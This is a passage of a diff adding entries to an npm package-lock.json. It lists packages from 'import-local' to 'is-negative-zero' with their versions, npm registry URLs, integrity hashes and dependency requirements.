+            "integrity": "sha512-m7ZEHgtw69qOGw+jwxXkHlrlIPdTGkyh66zXZ1ajZbxkDBNjSY/LGbmjc7h0s2ELsUDTAhFr55TrPSSqJGPG0A=="
+        },
+        "import-local": {
+            "version": "2.0.0",
+            "resolved": "https://registry.npmjs.org/import-local/-/import-local-2.0.0.tgz",
+            "integrity": "sha512-b6s04m3O+s3CGSbqDIyP4R6aAwAeYlVq9+WUWep6iHa8ETRf9yei1U48C5MmfJmV9AiLYYBKPMq/W+/WRpQmCQ==",
+            "requires": {
+                "pkg-dir": "^3.0.0",
+                "resolve-cwd": "^2.0.0"
+            },
+            "dependencies": {
+                "find-up": {
+                    "version": "3.0.0",
+                    "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz",
+                    "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==",
+                    "requires": {
+                        "locate-path": "^3.0.0"
+                    }
+                },
+                "locate-path": {
+                    "version": "3.0.0",
+                    "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz",
+                    "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==",
+                    "requires": {
+                        "p-locate": "^3.0.0",
+                        "path-exists": "^3.0.0"
+                    }
+                },
+                "p-locate": {
+                    "version": "3.0.0",
+                    "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz",
+                    "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==",
+                    "requires": {
+                        "p-limit": "^2.0.0"
+                    }
+                },
+                "path-exists": {
+                    "version": "3.0.0",
+                    "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz",
+                    "integrity": "sha512-bpC7GYwiDYQ4wYLe+FA8lhRjhQCMcQGuSgGGqDkg/QerRWw9CmGRT0iSOVRSZJ29NMLZgIzqaljJ63oaL4NIJQ=="
+                },
+                "pkg-dir": {
+                    "version": "3.0.0",
+                    "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-3.0.0.tgz",
+                    "integrity": "sha512-/E57AYkoeQ25qkxMj5PBOVgF8Kiu/h7cYS30Z5+R7WaiCCBfLq58ZI/dSeaEKb9WVJV5n/03QwrN3IeWIFllvw==",
+                    "requires": {
+                        "find-up": "^3.0.0"
+                    }
+                },
+                "resolve-cwd": {
+                    "version": "2.0.0",
+                    "resolved": "https://registry.npmjs.org/resolve-cwd/-/resolve-cwd-2.0.0.tgz",
+                    "integrity": "sha512-ccu8zQTrzVr954472aUVPLEcB3YpKSYR3cg/3lo1okzobPBM+1INXBbBZlDbnI/hbEocnf8j0QVo43hQKrbchg==",
+                    "requires": {
+                        "resolve-from": "^3.0.0"
+                    }
+                },
+                "resolve-from": {
+                    "version": "3.0.0",
+                    "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-3.0.0.tgz",
+                    "integrity": "sha512-GnlH6vxLymXJNMBo7XP1fJIzBFbdYt49CuTwmB/6N53t+kMPRMFKz783LlQ4tv28XoQfMWinAJX6WCGf2IlaIw=="
+                }
+            }
+        },
+        "imurmurhash": {
+            "version": "0.1.4",
+            "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz",
+            "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA=="
+        },
+        "in-publish": {
+            "version": "2.0.1",
+            "resolved": "https://registry.npmjs.org/in-publish/-/in-publish-2.0.1.tgz",
+            "integrity": "sha512-oDM0kUSNFC31ShNxHKUyfZKy8ZeXZBWMjMdZHKLOk13uvT27VTL/QzRGfRUcevJhpkZAvlhPYuXkF7eNWrtyxQ=="
+        },
+        "indent-string": {
+            "version": "4.0.0",
+            "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz",
+            "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg=="
+        },
+        "indexes-of": {
+            "version": "1.0.1",
+            "resolved": "https://registry.npmjs.org/indexes-of/-/indexes-of-1.0.1.tgz",
+            "integrity": "sha512-bup+4tap3Hympa+JBJUG7XuOsdNQ6fxt0MHyXMKuLBKn0OqsTfvUxkUrroEX1+B2VsSHvCjiIcZVxRtYa4nllA=="
+        },
+        "infer-owner": {
+            "version": "1.0.4",
+            "resolved": "https://registry.npmjs.org/infer-owner/-/infer-owner-1.0.4.tgz",
+            "integrity": "sha512-IClj+Xz94+d7irH5qRyfJonOdfTzuDaifE6ZPWfx0N0+/ATZCbuTPq2prFl526urkQd90WyUKIh1DfBQ2hMz9A=="
+        },
+        "inflight": {
+            "version": "1.0.6",
+            "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz",
+            "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==",
+            "requires": {
+                "once": "^1.3.0",
+                "wrappy": "1"
+            }
+        },
+        "inherits": {
+            "version": "2.0.4",
+            "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
+            "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ=="
+        },
+        "ini": {
+            "version": "2.0.0",
+            "resolved": "https://registry.npmjs.org/ini/-/ini-2.0.0.tgz",
+            "integrity": "sha512-7PnF4oN3CvZF23ADhA5wRaYEQpJ8qygSkbtTXWBeXWXmEVRXK+1ITciHWwHhsjv1TmW0MgacIv6hEi5pX5NQdA=="
+        },
+        "inline-style-parser": {
+            "version": "0.1.1",
+            "resolved": "https://registry.npmjs.org/inline-style-parser/-/inline-style-parser-0.1.1.tgz",
+            "integrity": "sha512-7NXolsK4CAS5+xvdj5OMMbI962hU/wvwoxk+LWR9Ek9bVtyuuYScDN6eS0rUm6TxApFpw7CX1o4uJzcd4AyD3Q=="
+        },
+        "inquirer": {
+            "version": "7.3.3",
+            "resolved": "https://registry.npmjs.org/inquirer/-/inquirer-7.3.3.tgz",
+            "integrity": "sha512-JG3eIAj5V9CwcGvuOmoo6LB9kbAYT8HXffUl6memuszlwDC/qvFAJw49XJ5NROSFNPxp3iQg1GqkFhaY/CR0IA==",
+            "requires": {
+                "ansi-escapes": "^4.2.1",
+                "chalk": "^4.1.0",
+                "cli-cursor": "^3.1.0",
+                "cli-width": "^3.0.0",
+                "external-editor": "^3.0.3",
+                "figures": "^3.0.0",
+                "lodash": "^4.17.19",
+                "mute-stream": "0.0.8",
+                "run-async": "^2.4.0",
+                "rxjs": "^6.6.0",
+                "string-width": "^4.1.0",
+                "strip-ansi": "^6.0.0",
+                "through": "^2.3.6"
+            },
+            "dependencies": {
+                "ansi-escapes": {
+                    "version": "4.3.2",
+                    "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-4.3.2.tgz",
+                    "integrity": "sha512-gKXj5ALrKWQLsYG9jlTRmR/xKluxHV+Z9QEwNIgCfM1/uwPMCuzVVnh5mwTd+OuBZcwSIMbqssNWRm1lE51QaQ==",
+                    "requires": {
+                        "type-fest": "^0.21.3"
+                    }
+                },
+                "ansi-regex": {
+                    "version": "5.0.1",
+                    "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+                    "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="
+                },
+                "ansi-styles": {
+                    "version": "4.3.0",
+                    "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+                    "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+                    "requires": {
+                        "color-convert": "^2.0.1"
+                    }
+                },
+                "chalk": {
+                    "version": "4.1.2",
+                    "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+                    "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+                    "requires": {
+                        "ansi-styles": "^4.1.0",
+                        "supports-color": "^7.1.0"
+                    }
+                },
+                "color-convert": {
+                    "version": "2.0.1",
+                    "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+                    "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+                    "requires": {
+                        "color-name": "~1.1.4"
+                    }
+                },
+                "color-name": {
+                    "version": "1.1.4",
+                    "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+                    "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+                },
+                "has-flag": {
+                    "version": "4.0.0",
+                    "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+                    "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
+                },
+                "is-fullwidth-code-point": {
+                    "version": "3.0.0",
+                    "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
+                    "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg=="
+                },
+                "string-width": {
+                    "version": "4.2.3",
+                    "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
+                    "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
+                    "requires": {
+                        "emoji-regex": "^8.0.0",
+                        "is-fullwidth-code-point": "^3.0.0",
+                        "strip-ansi": "^6.0.1"
+                    }
+                },
+                "strip-ansi": {
+                    "version": "6.0.1",
+                    "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
+                    "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
+                    "requires": {
+                        "ansi-regex": "^5.0.1"
+                    }
+                },
+                "supports-color": {
+                    "version": "7.2.0",
+                    "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+                    "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+                    "requires": {
+                        "has-flag": "^4.0.0"
+                    }
+                },
+                "type-fest": {
+                    "version": "0.21.3",
+                    "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.21.3.tgz",
+                    "integrity": "sha512-t0rzBq87m3fVcduHDUFhKmyyX+9eo6WQjZvf51Ea/M0Q7+T374Jp1aUiyUl0GKxp8M/OETVHSDvmkyPgvX+X2w=="
+                }
+            }
+        },
+        "internal-ip": {
+            "version": "4.3.0",
+            "resolved": "https://registry.npmjs.org/internal-ip/-/internal-ip-4.3.0.tgz",
+            "integrity": "sha512-S1zBo1D6zcsyuC6PMmY5+55YMILQ9av8lotMx447Bq6SAgo/sDK6y6uUKmuYhW7eacnIhFfsPmCNYdDzsnnDCg==",
+            "requires": {
+                "default-gateway": "^4.2.0",
+                "ipaddr.js": "^1.9.0"
+            }
+        },
+        "internal-slot": {
+            "version": "1.0.3",
+            "resolved": "https://registry.npmjs.org/internal-slot/-/internal-slot-1.0.3.tgz",
+            "integrity": "sha512-O0DB1JC/sPyZl7cIo78n5dR7eUSwwpYPiXRhTzNxZVAMUuB8vlnRFyLxdrVToks6XPLVnFfbzaVd5WLjhgg+vA==",
+            "requires": {
+                "get-intrinsic": "^1.1.0",
+                "has": "^1.0.3",
+                "side-channel": "^1.0.4"
+            }
+        },
+        "into-stream": {
+            "version": "3.1.0",
+            "resolved": "https://registry.npmjs.org/into-stream/-/into-stream-3.1.0.tgz",
+            "integrity": "sha512-TcdjPibTksa1NQximqep2r17ISRiNE9fwlfbg3F8ANdvP5/yrFTew86VcO//jk4QTaMlbjypPBq76HN2zaKfZQ==",
+            "requires": {
+                "from2": "^2.1.1",
+                "p-is-promise": "^1.1.0"
+            }
+        },
+        "invariant": {
+            "version": "2.2.4",
+            "resolved": "https://registry.npmjs.org/invariant/-/invariant-2.2.4.tgz",
+            "integrity": "sha512-phJfQVBuaJM5raOpJjSfkiD6BpbCE4Ns//LaXl6wGYtUBY83nWS6Rf9tXm2e8VaK60JEjYldbPif/A2B1C2gNA==",
+            "requires": {
+                "loose-envify": "^1.0.0"
+            }
+        },
+        "ip": {
+            "version": "1.1.8",
+            "resolved": "https://registry.npmjs.org/ip/-/ip-1.1.8.tgz",
+            "integrity": "sha512-PuExPYUiu6qMBQb4l06ecm6T6ujzhmh+MeJcW9wa89PoAz5pvd4zPgN5WJV104mb6S2T1AwNIAaB70JNrLQWhg=="
+        },
+        "ip-regex": {
+            "version": "2.1.0",
+            "resolved": "https://registry.npmjs.org/ip-regex/-/ip-regex-2.1.0.tgz",
+            "integrity": "sha512-58yWmlHpp7VYfcdTwMTvwMmqx/Elfxjd9RXTDyMsbL7lLWmhMylLEqiYVLKuLzOZqVgiWXD9MfR62Vv89VRxkw=="
+        },
+        "ipaddr.js": {
+            "version": "1.9.1",
+            "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz",
+            "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g=="
+        },
+        "is-absolute-url": {
+            "version": "3.0.3",
+            "resolved": "https://registry.npmjs.org/is-absolute-url/-/is-absolute-url-3.0.3.tgz",
+            "integrity": "sha512-opmNIX7uFnS96NtPmhWQgQx6/NYFgsUXYMllcfzwWKUMwfo8kku1TvE6hkNcH+Q1ts5cMVrsY7j0bxXQDciu9Q=="
+        },
+        "is-accessor-descriptor": {
+            "version": "0.1.6",
+            "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz",
+            "integrity": "sha512-e1BM1qnDbMRG3ll2U9dSK0UMHuWOs3pY3AtcFsmvwPtKL3MML/Q86i+GilLfvqEs4GW+ExB91tQ3Ig9noDIZ+A==",
+            "requires": {
+                "kind-of": "^3.0.2"
+            }
+        },
+        "is-alphabetical": {
+            "version": "2.0.1",
+            "resolved": "https://registry.npmjs.org/is-alphabetical/-/is-alphabetical-2.0.1.tgz",
+            "integrity": "sha512-FWyyY60MeTNyeSRpkM2Iry0G9hpr7/9kD40mD/cGQEuilcZYS4okz8SN2Q6rLCJ8gbCt6fN+rC+6tMGS99LaxQ=="
+        },
+        "is-alphanumeric": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/is-alphanumeric/-/is-alphanumeric-1.0.0.tgz",
+            "integrity": "sha512-ZmRL7++ZkcMOfDuWZuMJyIVLr2keE1o/DeNWh1EmgqGhUcV+9BIVsx0BcSBOHTZqzjs4+dISzr2KAeBEWGgXeA=="
+        },
+        "is-alphanumerical": {
+            "version": "2.0.1",
+            "resolved": "https://registry.npmjs.org/is-alphanumerical/-/is-alphanumerical-2.0.1.tgz",
+            "integrity": "sha512-hmbYhX/9MUMF5uh7tOXyK/n0ZvWpad5caBA17GsC6vyuCqaWliRG5K1qS9inmUhEMaOBIW7/whAnSwveW/LtZw==",
+            "requires": {
+                "is-alphabetical": "^2.0.0",
+                "is-decimal": "^2.0.0"
+            }
+        },
+        "is-arguments": {
+            "version": "1.1.1",
+            "resolved": "https://registry.npmjs.org/is-arguments/-/is-arguments-1.1.1.tgz",
+            "integrity": "sha512-8Q7EARjzEnKpt/PCD7e1cgUS0a6X8u5tdSiMqXhojOdoV9TsMsiO+9VLC5vAmO8N7/GmXn7yjR8qnA6bVAEzfA==",
+            "requires": {
+                "call-bind": "^1.0.2",
+                "has-tostringtag": "^1.0.0"
+            }
+        },
+        "is-arrayish": {
+            "version": "0.2.1",
+            "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz",
+            "integrity": "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg=="
+        },
+        "is-bigint": {
+            "version": "1.0.4",
+            "resolved": "https://registry.npmjs.org/is-bigint/-/is-bigint-1.0.4.tgz",
+            "integrity": "sha512-zB9CruMamjym81i2JZ3UMn54PKGsQzsJeo6xvN3HJJ4CAsQNB6iRutp2To77OfCNuoxspsIhzaPoO1zyCEhFOg==",
+            "requires": {
+                "has-bigints": "^1.0.1"
+            }
+        },
+        "is-binary-path": {
+            "version": "2.1.0",
+            "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz",
+            "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==",
+            "requires": {
+                "binary-extensions": "^2.0.0"
+            }
+        },
+        "is-boolean-object": {
+            "version": "1.1.2",
+            "resolved": "https://registry.npmjs.org/is-boolean-object/-/is-boolean-object-1.1.2.tgz",
+            "integrity": "sha512-gDYaKHJmnj4aWxyj6YHyXVpdQawtVLHU5cb+eztPGczf6cjuTdwve5ZIEfgXqH4e57An1D1AKf8CZ3kYrQRqYA==",
+            "requires": {
+                "call-bind": "^1.0.2",
+                "has-tostringtag": "^1.0.0"
+            }
+        },
+        "is-buffer": {
+            "version": "1.1.6",
+            "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-1.1.6.tgz",
+            "integrity": "sha512-NcdALwpXkTm5Zvvbk7owOUSvVvBKDgKP5/ewfXEznmQFfs4ZRmanOeKBTjRVjka3QFoN6XJ+9F3USqfHqTaU5w=="
+        },
+        "is-callable": {
+            "version": "1.2.4",
+            "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.4.tgz",
+            "integrity": "sha512-nsuwtxZfMX67Oryl9LCQ+upnC0Z0BgpwntpS89m1H/TLF0zNfzfLMV/9Wa/6MZsj0acpEjAO0KF1xT6ZdLl95w=="
+        },
+        "is-ci": {
+            "version": "2.0.0",
+            "resolved": "https://registry.npmjs.org/is-ci/-/is-ci-2.0.0.tgz",
+            "integrity": "sha512-YfJT7rkpQB0updsdHLGWrvhBJfcfzNNawYDNIyQXJz0IViGf75O8EBPKSdvw2rF+LGCsX4FZ8tcr3b19LcZq4w==",
+            "requires": {
+                "ci-info": "^2.0.0"
+            }
+        },
+        "is-color-stop": {
+            "version": "1.1.0",
+            "resolved": "https://registry.npmjs.org/is-color-stop/-/is-color-stop-1.1.0.tgz",
+            "integrity": "sha512-H1U8Vz0cfXNujrJzEcvvwMDW9Ra+biSYA3ThdQvAnMLJkEHQXn6bWzLkxHtVYJ+Sdbx0b6finn3jZiaVe7MAHA==",
+            "requires": {
+                "css-color-names": "^0.0.4",
+                "hex-color-regex": "^1.1.0",
+                "hsl-regex": "^1.0.0",
+                "hsla-regex": "^1.0.0",
+                "rgb-regex": "^1.0.1",
+                "rgba-regex": "^1.0.0"
+            }
+        },
+        "is-core-module": {
+            "version": "2.10.0",
+            "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.10.0.tgz",
+            "integrity": "sha512-Erxj2n/LDAZ7H8WNJXd9tw38GYM3dv8rk8Zcs+jJuxYTW7sozH+SS8NtrSjVL1/vpLvWi1hxy96IzjJ3EHTJJg==",
+            "requires": {
+                "has": "^1.0.3"
+            }
+        },
+        "is-data-descriptor": {
+            "version": "0.1.4",
+            "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz",
+            "integrity": "sha512-+w9D5ulSoBNlmw9OHn3U2v51SyoCd0he+bB3xMl62oijhrspxowjU+AIcDY0N3iEJbUEkB15IlMASQsxYigvXg==",
+            "requires": {
+                "kind-of": "^3.0.2"
+            }
+        },
+        "is-date-object": {
+            "version": "1.0.5",
+            "resolved": "https://registry.npmjs.org/is-date-object/-/is-date-object-1.0.5.tgz",
+            "integrity": "sha512-9YQaSxsAiSwcvS33MBk3wTCVnWK+HhF8VZR2jRxehM16QcVOdHqPn4VPHmRK4lSr38n9JriurInLcP90xsYNfQ==",
+            "requires": {
+                "has-tostringtag": "^1.0.0"
+            }
+        },
+        "is-decimal": {
+            "version": "2.0.1",
+            "resolved": "https://registry.npmjs.org/is-decimal/-/is-decimal-2.0.1.tgz",
+            "integrity": "sha512-AAB9hiomQs5DXWcRB1rqsxGUstbRroFOPPVAomNk/3XHR5JyEZChOyTWe2oayKnsSsr/kcGqF+z6yuH6HHpN0A=="
+        },
+        "is-descriptor": {
+            "version": "0.1.6",
+            "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz",
+            "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==",
+            "requires": {
+                "is-accessor-descriptor": "^0.1.6",
+                "is-data-descriptor": "^0.1.4",
+                "kind-of": "^5.0.0"
+            },
+            "dependencies": {
+                "kind-of": {
+                    "version": "5.1.0",
+                    "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz",
+                    "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw=="
+                }
+            }
+        },
+        "is-directory": {
+            "version": "0.3.1",
+            "resolved": "https://registry.npmjs.org/is-directory/-/is-directory-0.3.1.tgz",
+            "integrity": "sha512-yVChGzahRFvbkscn2MlwGismPO12i9+znNruC5gVEntG3qu0xQMzsGg/JFbrsqDOHtHFPci+V5aP5T9I+yeKqw=="
+        },
+        "is-docker": {
+            "version": "2.2.1",
+            "resolved": "https://registry.npmjs.org/is-docker/-/is-docker-2.2.1.tgz",
+            "integrity": "sha512-F+i2BKsFrH66iaUFc0woD8sLy8getkwTwtOBjvs56Cx4CgJDeKQeqfz8wAYiSb8JOprWhHH5p77PbmYCvvUuXQ=="
+        },
+        "is-dotfile": {
+            "version": "1.0.3",
+            "resolved": "https://registry.npmjs.org/is-dotfile/-/is-dotfile-1.0.3.tgz",
+            "integrity": "sha512-9YclgOGtN/f8zx0Pr4FQYMdibBiTaH3sn52vjYip4ZSf6C4/6RfTEZ+MR4GvKhCxdPh21Bg42/WL55f6KSnKpg=="
+        },
+        "is-equal-shallow": {
+            "version": "0.1.3",
+            "resolved": "https://registry.npmjs.org/is-equal-shallow/-/is-equal-shallow-0.1.3.tgz",
+            "integrity": "sha512-0EygVC5qPvIyb+gSz7zdD5/AAoS6Qrx1e//6N4yv4oNm30kqvdmG66oZFWVlQHUWe5OjP08FuTw2IdT0EOTcYA==",
+            "requires": {
+                "is-primitive": "^2.0.0"
+            }
+        },
+        "is-expression": {
+            "version": "3.0.0",
+            "resolved": "https://registry.npmjs.org/is-expression/-/is-expression-3.0.0.tgz",
+            "integrity": "sha512-vyMeQMq+AiH5uUnoBfMTwf18tO3bM6k1QXBE9D6ueAAquEfCZe3AJPtud9g6qS0+4X8xA7ndpZiDyeb2l2qOBw==",
+            "requires": {
+                "acorn": "~4.0.2",
+                "object-assign": "^4.0.1"
+            },
+            "dependencies": {
+                "acorn": {
+                    "version": "4.0.13",
+                    "resolved": "https://registry.npmjs.org/acorn/-/acorn-4.0.13.tgz",
+                    "integrity": "sha512-fu2ygVGuMmlzG8ZeRJ0bvR41nsAkxxhbyk8bZ1SS521Z7vmgJFTQQlfz/Mp/nJexGBz+v8sC9bM6+lNgskt4Ug=="
+                }
+            }
+        },
+        "is-extendable": {
+            "version": "0.1.1",
+            "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-0.1.1.tgz",
+            "integrity": "sha512-5BMULNob1vgFX6EjQw5izWDxrecWK9AM72rugNr0TFldMOi0fj6Jk+zeKIt0xGj4cEfQIJth4w3OKWOJ4f+AFw=="
+        },
+        "is-extglob": {
+            "version": "2.1.1",
+            "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz",
+            "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ=="
+        },
+        "is-finite": {
+            "version": "1.1.0",
+            "resolved": "https://registry.npmjs.org/is-finite/-/is-finite-1.1.0.tgz",
+            "integrity": "sha512-cdyMtqX/BOqqNBBiKlIVkytNHm49MtMlYyn1zxzvJKWmFMlGzm+ry5BBfYyeY9YmNKbRSo/o7OX9w9ale0wg3w=="
+        },
+        "is-fullwidth-code-point": {
+            "version": "2.0.0",
+            "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz",
+            "integrity": "sha512-VHskAKYM8RfSFXwee5t5cbN5PZeq1Wrh6qd5bkyiXIf6UQcN6w/A0eXM9r6t8d+GYOh+o6ZhiEnb88LN/Y8m2w=="
+        },
+        "is-glob": {
+            "version": "4.0.3",
+            "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz",
+            "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==",
+            "requires": {
+                "is-extglob": "^2.1.1"
+            }
+        },
+        "is-hexadecimal": {
+            "version": "2.0.1",
+            "resolved": "https://registry.npmjs.org/is-hexadecimal/-/is-hexadecimal-2.0.1.tgz",
+            "integrity": "sha512-DgZQp241c8oO6cA1SbTEWiXeoxV42vlcJxgH+B3hi1AiqqKruZR3ZGF8In3fj4+/y/7rHvlOZLZtgJ/4ttYGZg=="
+        },
+        "is-installed-globally": {
+            "version": "0.4.0",
+            "resolved": "https://registry.npmjs.org/is-installed-globally/-/is-installed-globally-0.4.0.tgz",
+            "integrity": "sha512-iwGqO3J21aaSkC7jWnHP/difazwS7SFeIqxv6wEtLU8Y5KlzFTjyqcSIT0d8s4+dDhKytsk9PJZ2BkS5eZwQRQ==",
+            "requires": {
+                "global-dirs": "^3.0.0",
+                "is-path-inside": "^3.0.2"
+            },
+            "dependencies": {
+                "is-path-inside": {
+                    "version": "3.0.3",
+                    "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-3.0.3.tgz",
+                    "integrity": "sha512-Fd4gABb+ycGAmKou8eMftCupSir5lRxqf4aD/vd0cD2qc4HL07OjCeuHMr8Ro4CoMaeCKDB0/ECBOVWjTwUvPQ=="
+                }
+            }
+        },
+        "is-invalid-path": {
+            "version": "0.1.0",
+            "resolved": "https://registry.npmjs.org/is-invalid-path/-/is-invalid-path-0.1.0.tgz",
+            "integrity": "sha512-aZMG0T3F34mTg4eTdszcGXx54oiZ4NtHSft3hWNJMGJXUUqdIj3cOZuHcU0nCWWcY3jd7yRe/3AEm3vSNTpBGQ==",
+            "requires": {
+                "is-glob": "^2.0.0"
+            },
+            "dependencies": {
+                "is-extglob": {
+                    "version": "1.0.0",
+                    "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-1.0.0.tgz",
+                    "integrity": "sha512-7Q+VbVafe6x2T+Tu6NcOf6sRklazEPmBoB3IWk3WdGZM2iGUwU/Oe3Wtq5lSEkDTTlpp8yx+5t4pzO/i9Ty1ww=="
+                },
+                "is-glob": {
+                    "version": "2.0.1",
+                    "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-2.0.1.tgz",
+                    "integrity": "sha512-a1dBeB19NXsf/E0+FHqkagizel/LQw2DjSQpvQrj3zT+jYPpaUCryPnrQajXKFLCMuf4I6FhRpaGtw4lPrG6Eg==",
+                    "requires": {
+                        "is-extglob": "^1.0.0"
+                    }
+                }
+            }
+        },
+        "is-nan": {
+            "version": "1.3.2",
+            "resolved": "https://registry.npmjs.org/is-nan/-/is-nan-1.3.2.tgz",
+            "integrity": "sha512-E+zBKpQ2t6MEo1VsonYmluk9NxGrbzpeeLC2xIViuO2EjU2xsXsBPwTr3Ykv9l08UYEVEdWeRZNouaZqF6RN0w==",
+            "requires": {
+                "call-bind": "^1.0.0",
+                "define-properties": "^1.1.3"
+            }
+        },
+        "is-negative-zero": {
+            "version": "2.0.2",
+            "resolved": "https://registry.npmjs.org/is-negative-zero/-/is-negative-zero-2.0.2.tgz",
